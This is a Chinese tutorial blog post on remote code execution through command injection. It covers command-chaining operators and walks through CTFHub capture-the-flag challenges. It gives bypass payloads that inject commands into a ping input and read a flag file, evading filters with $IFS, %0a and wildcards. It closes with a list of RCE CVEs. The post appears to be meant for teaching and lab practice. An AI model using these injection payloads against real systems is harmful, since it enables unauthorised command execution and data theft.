RCE漏洞

发布于:2025-04-16 ⋅ 阅读:(39) ⋅ 点赞:(0)

 

目录

一. 什么是RCE漏洞?

二. 命令拼接

三. CTF题

命令注入

过滤Cat

过滤空格

过滤目录分隔符

过滤运算符

综合过滤练习

分号用什么代替?

flag文件名怎么绕过

四. 经典RCE漏洞


一. 什么是RCE漏洞?

RCE(Remote Code/Command Execute),由于某些应用系统从设计上需要给用户提供指定的远程命令操作接口,如路由器、防火墙等web管理界面上。

并且,目前自动化运维平台也往往会出现RCE漏洞。

总之,只要有接口或界面能执行命令或代码,那么有可能会有RCE漏洞。

二. 命令拼接

Windows
命令拼接符 含义 示例
&& 左边执行成功,右边才执行

ping 127.0.0.1 && echo 'hello'

& 简单拼接         ping 1111 & echo 'hello'
| 上一条命令的输出,作为下一条命令的参数 netstat -ano I findstr 3306
|| 左边执行失败,右边才执行 ping baidu.com ll ping baidu.net

Linux的&&,| 和 || 同Windows是功能相同的。

Linux拼接命令用 ;

但 & 表示任务后台执行。

比如redis的启动程序 ./redis-server,运行完后就占用了窗口。./redis-server & 就可以后台启动。

三. CTF题

这次以CTFHub中的题为示例。

命令注入

直接注入:127.0.0.1;ls

界面没有,查看网页源代码:

过滤Cat

除了cat,在Linux中还有哪些能作为查看命令?

tac 文件内容倒过来显示
more 分页显示文件内容
less 比more多一个翻页功能
head 显示文件头5行内容
tail 显示文件末尾5行内容
nl 即cat -n,输出显示行号
tailf 即tail -f,实时查看文本内容,比如看log文件

过滤空格

Linux中,空格还能用以下方式表示:

$IFS$9

${IFS}

以下两个要在URL里输入

%09

%20

过滤目录分隔符

此题过滤了目录分隔符

发现flag变成目录了,但是我们知道目录即可,不一定要写目录分隔符

最后,我们拼接命令即可

127.0.0.1;cd flag_is_here;cat flag_115103143828770.php

过滤运算符

此题过滤了所有运算符,但 ; 还能用,其他都一样

综合过滤练习

这题打了一个组合拳,对我们来说重点是:

分号用什么代替?

; 被过滤了,可以用%0a表示回车(%0a是URL编码,要写在URL里)

flag文件名怎么绕过

Linux文件可以用通配符写,比如过滤了flag,就写fla*

最后打一套组合拳:

127.0.0.1%0als    找到目录

127.0.0.1%0als${IFS}fla*_is_here   找到flag.php

127.0.0.1%0acd${IFS}fla*_is_here%0aless${IFS}fla*_308151332316580.php

答案就出来了

四. 经典RCE漏洞

CVE-2021-3177 Python RCE漏洞
CVE-2021-21972 VMWare RCE漏洞
CVE-2021-25646 Apache Druid RCE漏洞

CNVD-2020-46552 深信服EDR
CNVD-2021-30101 网康下一代防火墙

 

感谢你能看到这。o(* ̄▽ ̄*)ブ


网站公告

今日签到

点亮在社区的每一天
去签到